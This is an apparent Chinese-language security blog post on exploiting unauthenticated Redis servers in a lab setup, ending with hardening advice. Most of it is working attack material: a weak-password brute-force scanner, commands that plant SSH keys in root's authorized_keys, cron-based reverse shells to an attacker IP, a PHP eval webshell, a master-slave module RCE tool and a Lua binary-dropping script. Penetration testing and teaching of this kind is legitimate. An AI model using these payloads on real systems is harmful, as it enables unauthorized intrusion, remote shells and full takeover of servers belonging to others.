redis未授权访问个⼈总结

2020-02-17 15:00:19 浏览数 (1)

前⾔:

刚好在整理未授权系列的洞,就学习了⼀波关于redis的,如果哪⾥有讲的不对的地⽅还请各位⼤佬指出.在内⽹中还是很容易碰到未授权的redis或者是弱⼝令的redis,毕竟都这样运维⼈员操作起来⽅便点.

Redis简介:

redis是⼀个key-value存储系统。和Memcached类似,它⽀持存储的value类型相对更多,包括string(字符串)、list(链表)、set(集合)、zset(sorted set --有序集合)和hash(哈希类型)。这些数据类型都⽀持push/pop、add/remove及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上,redis⽀持各种不同⽅式的排序。与memcached⼀样,为了保证效率,数据都是缓存在内存中。区别的是redis会周期性的把更新的数据写⼊磁盘或者把修改操作写⼊追加的记录⽂件,并且在此基础上实现了master-slave(主从)同步。

Redis常⽤命令:

1 set testkey "Hello World" # 设置键testkey的值为字符串HelloWorld

2 get testkey # 获取键testkey的内容

3 SET score 99 # 设置键score的值为99

4 INCR score # 使用INCR命令将score的值增加1

5 GET score # 获取键score的内容

6 keys * # 列出当前数据库中所有的键

7 get anotherkey # 获取一个不存在的键的值

8 config set dir /home/test # 设置工作目录

9 config set dbfilename redis.rdb # 设置备份文件名

10 config get dir # 检查工作目录是否设置成功

11 config get dbfilename # 检查备份文件名是否设置成功

12 save # 进行一次备份操作

13 flushall 删除所有数据

14 del key 删除键为key的数据

Redis操作总结:

  1. 使⽤SET和GET命令,可以完成基本的赋值和取值操作;

2. Redis是不区分命令的⼤⼩写的,set和SET是同⼀个意思;

3. 使⽤keys *可以列出当前数据库中的所有键;

4. 当尝试获取⼀个不存在的键的值时,Redis会返回空,即(nil);

5. 如果键的值中有空格,需要使⽤双引号括起来,如"Hello World";

Redis配置⽂件解读:

在启动Redis服务器进程的时候,可以通过命令⾏参数指定⼀个配置⽂件,这样服务器进程就可以根据配置⽂件中设定的参数值来运⾏了。在redis-3.0.1⽬录下有⼀个redis.conf⽂件,这是⼀个默认的配置⽂件。

redis.conf⽂件中存在许多的设置参数,这⾥重点介绍⼏个和安全相关的参数:

1. port参数

格式为port后⾯接端⼝号,如port 6379,表示Redis服务器将在6379端⼝上进⾏监听来,等待客户端的连接。

2. bind参数

格式为bind后⾯接IP地址,可以同时绑定在多个IP地址上,IP地址之间⽤空格分离,如:bind 192.168.1.100 10.0.0.1,表示同时绑定在192.168.1.100和10.0.0.1两个IP地址上。如果

没有指定bind参数,则绑定在本机的所有IP地址上。

3. save参数

格式为save <秒数> <变化数>,表示在指定的秒数内数据库存在指定的改变数时⾃动进⾏备份(Redis是内存数据库,这⾥的备份就是指把内存中的数据备份到磁盘上)。可以同时指定多个save参数,如:

save 900 1

save 300 10

save 60 10000

表示如果数据库的内容在60秒后产⽣了10000次改变,或者300秒后产⽣了10次改变,或者900秒后产⽣了1次改变,那么⽴即进⾏备份操作。

4. requirepass参数

格式为requirepass后接指定的密码,⽤于指定客户端在连接Redis服务器时所使⽤的密码。Redis默认的密码参数是空的,说明不需要密码即可连接;同时,配置⽂件有⼀条注释了的requirepass foobared命令,如果去掉注释,表示需要使⽤foobared密码才能连接Redis数据库。

5. dir参数

格式为dir后接指定的路径,默认为dir ./,指明Redis的⼯作⽬录为当前⽬录,即redis-server⽂件所在的⽬录。注意,Redis产⽣的备份⽂件将放在这个⽬录下。

6. dbfilename参数

格式为dbfilename后接指定的⽂件名称,⽤于指定Redis备份⽂件的名字,默认为dbfilename dump.rdb,即备份⽂件的名字为dump.rdb。

7. config命令

通过config命令可以读取和设置dir参数以及dbfilename参数,因为这条命令⽐较危险(实验将进⾏详细介绍),所以Redis在配置⽂件中提供了rename-command参数来对其进⾏重命名操作,如rename-command CONFIG HTCMD,可以将CONFIG命令重命名为HTCMD。配置⽂件默认是没有对CONFIG命令进⾏重命名操作的。

详细解读:

Redis5.0.5配置⽂件详解:

https://blog.csdn.net/weixin_42425970/article/details/94132652

利⽤原理:

Redis 提供了2种不同的持久化⽅式,RDB⽅式和AOF⽅式.

· RDB 持久化可以在指定的时间间隔内⽣成数据集的时间点快照

· AOF 持久化记录服务器执⾏的所有写操作命令.

经过查看官⽹⽂档发现AOF⽅式备份数据库的⽂件名默认为appendonly.aof,可以在配置⽂件中通过appendfilename设置其他名称,通过测试发现不能在客户端交互中动态设置appendfilename,所以不能通过AOF⽅式备份写任意⽂件.

· RDB⽅式备份数据库的⽂件名默认为dump.rdb,此⽂件名可以通过客户端交互动态设置dbfilename来更改,造成可以写任意⽂件.

搭建过程:

#下载源码:

wget http://download.redis.io/releases/redis-5.0.5.tar.gz

tar -zxvf redis-5.0.5.tar.gz

cd redis-5.0.5

make

#启动redis服务:

cd src

./redis-server

可以指定配置文件启动(若不指定则以默认的配置文件启动):

./redis-server /etc/redis/redis.conf

配置⽂件:

安全模式起作⽤需要同时满⾜俩个条件:

(1) redis没有开启登录认证

(2) redis没有绑定到某个ip地址或ip段从3.2.0版本开始,当Redis使⽤缺省的配置并且没有密码保护的时,我们称之为保护模式。redis默认是未开启认证,开启安全模式的.

对安全模式作⽤范围进行测试:

⼀、 绑定到任意地址:

启动redis:

连接redis,可以看到安全模式未发挥作⽤

⼆、取消绑定地址

启动redis进⾏登录测试,执行命令info查看信息:

可以看到虽然其可以登录,但是⽆法执⾏命令。

三、不绑定地址,关闭安全模式:

登录测试:

所以造成未授权访问有俩种情况:

  1. 未开启登录认证,将redis绑定到了0.0.0.0

2. 未开启登录认证,未绑定redis到任何地址(此时任何ip都可以访问),还需要关闭保护模式

漏洞复现:

windows下的redis客户端下载:https://github.com/caoxinyu/RedisClient/releases

环境:

靶机:192.168.1.154

centos7 攻击机:192.168.1.153 centos7

python未授权访问实验脚本,仅供测试本机实验环境:

# _*_ coding:utf-8 _*_

import socket

import sys

PASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin']

def check(ip, port, timeout):

try:

socket.setdefaulttimeout(timeout)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((ip, int(port)))

s.send("INFOrn")

result = s.recv(1024)

if "redis_version" in result:

return u"未授权访问"

elif "Authentication" in result:

for pass_ in PASSWORD_DIC:

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((ip, int(port)))

s.send("AUTH %srn" %(pass_))

result = s.recv(1024)

if ' OK' in result:

return u"存在弱口令,密码:%s" % (pass_)

except Exception, e:

pass

if __name__ == '__main__':

ip=sys.argv[1]

port=sys.argv[2]

print check(ip,port, timeout=10)

脚本使用方法:

redies.py ip 6379

⼀、写 ssh-keygen 公钥登录服务器

利⽤的原理:

现在先说明一下SSH免密登录的原理:

SSH提供两种登录验证方式,一种是口令验证也就是账号密码登录,另一种是密钥验证。

所谓密钥验证,其实就是一种基于公钥密码的认证,使用公钥加密、私钥解密,其中公钥是可以公开的,放在服务器端,你可以把同一个公钥放在所有你想SSH远程登录的服务器中,而私钥是保密的只有你自己知道,公钥加密的消息只有私钥才能解密,大体过程如下:

(1)客户端生成私钥和公钥,并把公钥拷贝给服务器端;

(2)客户端发起登录请求,发送自己的相关信息;

(3)服务器端根据客户端发来的信息查找是否存有该客户端的公钥,若没有拒绝登录,若有则生成一段随机数使用该公钥加密后发送给客户端;

(4)客户端收到服务器发来的加密后的消息后使用私钥解密,并把解密后的结果发给服务器用于验证;

(5)服务器收到客户端发来的解密结果,与自己刚才生成的随机数比对,若一样则允许登录,不一样则拒绝登录。

需要的条件:

1、Redis服务使⽤ROOT账号启动

2、服务器开放了SSH服务,⽽且允许使⽤密钥登录,即可远程写⼊⼀个公钥,直接登录远程服务器。

redis执⾏的命令:

192.168.1.154:6379>config set dir /root/.ssh/

192.168.1.154:6379>config set dbfilename authorized_keys

192.168.1.154:6379>set x "nnn ssh-rsa

AAAAB3NzaC1yc2EAAAADAQABAAABAQCdPp3/tfIlmHhVKuaR5Ckd0uuv98Q6AusZP9ZJrrb8aRWniTNCdUvV7gfW5ctZxROXfUF tvnd6So8MwR70AwNqaCsWrsUBPzJXcR1Zl89M1G9KulUOgF3rANKQ8dqZivouvs1DcqkyqWi1652tAQ 4xS8i/mhFeS0dxjajttcrzmirF9DPzlsKTzfbMpUYupRAOl7GikdB9dhPzH3xQ4Oem4UMeZbznPuT861msmNLByh3ni szdrF8yqwbPkVSDDbUlFCppF9N Fykra5Uuc/tkXZaxgAjBWdpeFsLnMPlBWKoN1BJpzwZHgG2iKLT7PJS5bqx RdkD7XJy9eqXL root@mail.test.com nnn"

192.168.1.154:6379> save

具体操作:

1、本地⽣成公钥⽂件:需要为我们的公钥⽂件设置⼀个私钥

公钥⽂件默认路径:/root/.ssh/id_rsa.pub

2、通过未授权访问redis:

注意:在给客户做测试的时候记得先看下当前设置的⽬录和⽂件名,做完测试记得恢复

3、利⽤redis的数据备份功能修改备份⽬录为 /redis/.ssh/ 备份⽂件名为 authorized_keys

4、创建⼀个键值:

(1) 复制id_rsa.pub⽂件的内容:

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdPp3/tfIlmHhVKuaR5Ckd0uuv98Q6AusZP9ZJrrb8aRWniTNCdUvV7gfW5ctZxROXfUF tvnd6So8MwR70AwNqaCsWrsUBPzJXcR1Zl89M1G9KulUOgF3rANKQ8dqZivouvs1DcqkyqWi1652tAQ 4xS8i/mhFeS0dxjajttcrzmirF9DPzlsKTzfbMpUYupRAOl7GikdB9dhPzH3xQ4Oem4UMeZbznPuT861msmNLByh3ni szdrF8yqwbPkVSDDbUlFCppF9N Fykra5Uuc/tkXZaxgAjBWdpeFsLnMPlBWKoN1BJpzwZHgG2iKLT7PJS5bqx RdkD7XJy9eqXL root@mail.test.com

(2) 创建⼀个键名为x 键值为公钥⽂件⾥⾯的内容

(3) 利⽤公钥⽂件以及对应的私钥进⾏ssh登陆:

或者:

ssh-keygen -t rsa

(echo -e "nn"; cat id_rsa.pub; echo -e "nn") > foo.txt

cat foo.txt | redis-cli -h x.x.x.x -x set crackit

redis-cli -h x.x.x.x

> config set dir /root/.ssh/

> config get dir

> config set dbfilename "authorized_keys"

> save

ssh -i id_rsa root@x.x.x.x

windows下利⽤ssh连接⼯具⽣成公钥⽂件:

利⽤xshell⽣成公钥⽂件:

依次下一步

输⼊⼀个密钥加密的密码,⽤于我们远程登陆

复制公钥⾥⾯的内容,即可利⽤。

POC-T框架下对应的利⽤脚本:

利⽤xshell连接即可:

点击连接,输⼊⽤户名然后选择公钥连接:

输⼊我们前⾯填写的密码即可登陆。(密码就是我们那个前⾯密钥加密的密码)

⼆、 利⽤计划任务反弹shell

利⽤的原理:

#获取dir的值

config get dir

#获取dbfilename的值

config get dbfilename

#设置数据库备份目录为linux计划任务目录

config set dir '/var/spool/cron/'

#设置备份文件名为root,以root身份执行计划任务

config set dbfilename 'root'

#删除所有数据库的所有key

flushall

#设置写入的内容,在计划任务前后加入换行以确保写入的计划任务可以被正常解析,此处可以直接调用lua语句。

eval "redis.call('set','cron',string.char(10)..ARGV[1]..string.char(10))" 0 '*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/8080 0>&1'

#保存

save

#删除新增的key

del cron

#恢复dir和dbfilename

config set dir '***'

config set dbfilename '***'

具体操作:

1、攻击机监听好接收shell的端口:

nc -lvnp 4444

2、修改备份⽬录和⽂件名为定时任务的⽬录和⽂件:

192.168.1.154:6379> set x "n* * * * * bash -i >& /dev/tcp/192.168.1.153/4444 0>&1n"

192.168.1.154:6379> config set dir /var/spool/cron/

192.168.1.154:6379> config set dbfilename root

192.168.1.154:6379> save

执⾏过程:

3、执行完redis命令后,回到监听的终端页面:

第⼀次看到还以为没有反弹回shell,不知道为什么这个shell⽆法执⾏ifconfig求助⼤佬后才知道,默认的ifconfig是在 /usr/bin/⽬录下,⽽bash默认是在

解决⽅法:

ln -s /usr/sbin/ifconfig /usr/bin/ifconfig

POC-T框架下对应的利⽤脚本:

POC-T框架里的利用代码:

未不避免排版错乱,影响阅读体验,通过阅读原文获取

三、 利用redis写webshell

当redis权限不高时,并且服务器开着web服务,在redis有web目录写权限时,可以尝试往web路径写webshell

靶机redis未授权,在攻击机能用redis clinet连接,并未登录验证

靶机开启web服务,并且知道网站路径,还需要具有文件读写增删改查权限

当不知道其网站的物理路径,可以尝试目录爆破看下是否存在phpinfo文件,也可以尝试apache的默认路径:/var/www/html/

redis-cli -h 192.168.1.154

config set dir /var/www/html

set xxx "nnn<?php@eval($_POST['c']);?>nnn"

config set dbfilename webshell.php

save

四、 利用主从复制获取shell

Redis支持主从同步。数据可以从主服务器向任意数量的从服务器上同步,从服务器可以是关联其他从服务器的主服务器。这使得Redis可执行单层树复制。存盘可以有意无意的对数据进行写操作。由于完全实现了发布/订阅机制,使得从数据库在任何地方同步树时,可订阅一个频道并接收主服务器完整的消息发布记录。同步对读取操作的可扩展性和数据冗余很有帮助。

利用原理:

在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。

然后在从机上加载so文件,我们就可以执行拓展的新命令了。

1、下载利用脚本:

git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand

cd RedisModules-ExecuteCommand/

make

git clone https://github.com/Ridter/redis-rce

python redis-rce.py -r 192.168.1.154 -L 192.168.1.153 -f module.so

监听一个端口用来接收shell:

nc -nvvlp 81

相关文章:

Redis 基于主从复制的 RCE 利用方式

https://paper.seebug.org/975/

详细利用步骤:

https://www.lizenghai.com/archives/21742.html

五、 执行lua脚本:

 redis 2.6以前的版本内置了lua脚本环境,在有连接redis服务器的权限下,可以利用lua执行系统命令。

本地建立一个lua脚本:

vim hello.lua

local msg = "hello,hack!"

return msg

在客户端连接redis服务器并执行hello.lua

redis-cli eval "$(cat hello.lua)" 0 -h 192.168.1.154

六、 写二进制文件,利用dns、icmp等协议上线(tcp协议不能出网)

写二进制文件跟前边有所不同,原因在于使用RDB方式备份redis数据库是默认情况下会对文件进行压缩,上传的二进制文件也会被压缩,而且文件前后存在脏数据,因此需要将默认压缩关闭,并且通过计划任务调用python清洗脏数据。

1、创建一个lua脚本,其内容如下

local function hex2bin(hexstr)

local str = ""

for i = 1, string.len(hexstr) - 1, 2 do

local doublebytestr = string.sub(hexstr, i, i 1);

local n = tonumber(doublebytestr, 16);

if 0 == n then

str = str .. '0'

else

str = str .. string.format("%c", n)

end

end

return str

end

local dir = redis.call('config','get','dir')

redis.call('config','set','dir','/tmp/')

local dbfilename = redis.call('config','get','dbfilename')

redis.call('config','set','dbfilename','t')

local rdbcompress = redis.call('config','get','rdbcompression')

redis.call('config','set','rdbcompression','no')

redis.call('flushall')

local data = '1a2b3c4d5e6f1223344556677890aa'

redis.call('set','data',hex2bin('0a7c7c7c'..data..'7c7c7c0a'))

local rst = {}

rst[1] = 'server default config'

rst[2] = 'dir:'..dir[2]

rst[3] = 'dbfilename:'..dbfilename[2]

rst[4] = 'rdbcompression:'..rdbcompress[2]

return rst

变量data保存的是程序的16进制编码

2、利用redis执行该lua脚本

代码语言:javascript复制
redis-cli --eval a.lua -h 192.168.1.154

3、由于redis不支持在lua中调用save因此需要手动执行save操作,并且删除key data,恢复dir等。

代码语言:javascript复制
redis-cli save -h *.*.*.*
redis-cli config set dir *** -h *.*.*.*
redis-cli config set dbfilename *** -h *.*.*.*
redis-cli config set rdbcompression * -h *.*.*.*

目前写入的文件前后是存在垃圾数据的,下一步通过写计划任务调用python或者系统命令提取出二进制文件(写文件之在数据前后加入了|||作为提取最终文件的标识)。

*/1 * * * * python -c 'open("/tmp/rst","a ").write(open("/tmp/t").read().split("|||")[1])'

利用拓展:

Windows下如何getshell?

代码语言:javascript复制
写入webshell,需要知道web路径
写入启动项,需要目标服务器重启
写入MOF,MOF每隔5秒钟会自动执行一次,适用于Windows2003。

修复方案:

1、禁止一些高危命令(重启redis才能生效)
  • 修改 redis.conf 文件,禁用远程修改 DB 文件地址
代码语言:javascript复制
rename-command FLUSHALL ""

rename-command CONFIG ""

rename-command EVAL ""
  • 或者通过修改redis.conf文件,改变这些高危命令的名称
代码语言:javascript复制
rename-command FLUSHALL "name1"

rename-command CONFIG "name2"

rename-command EVAL "name3"
2、以低权限运行 Redis 服务(重启redis才能生效)

为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆

代码语言:javascript复制
groupadd -r redis && useradd -r -g redis redis
3、为 Redis 添加密码验证(重启redis才能生效)

修改 redis.conf 文件,添加

代码语言:javascript复制
requirepass mypassword
(注意redis不要用-a参数,明文输入密码,连接后使用auth认证)
4、禁止外网访问 Redis(重启redis才能生效)

修改 redis.conf 文件,添加或修改,使得 Redis 服务只在当前主机可用

代码语言:javascript复制
bind 127.0.0.1

在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错

5、修改默认端口

修改配置文件redis.conf文件

代码语言:javascript复制
Port 6379

默认端口是6379,可以改变成其他端口(不要冲突就好)

6、保证 authorized_keys 文件的安全

为了保证安全,您应该阻止其他用户添加新的公钥。

  • 将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:
代码语言:javascript复制
chmod 400 ~/.ssh/authorized_keys
  • 为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限:
代码语言:javascript复制
chattr  i ~/.ssh/authorized_keys
  • 然而,用户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置 ~./ssh 的 immutable 权限:
代码语言:javascript复制
chattr  i ~/.ssh
7、设置防火墙策略

如果正常业务中Redis服务需要被其他服务器来访问,可以设置iptables策略仅允许指定的IP来访问Redis服务。

本文来自安全师作者:Mature

参考链接:

https://www.secshi.com(墙裂推荐!)

https://www.freebuf.com/column/158065.html

https://bbs.ichunqiu.com/thread-39749-1-1.html?from=beef

0 人点赞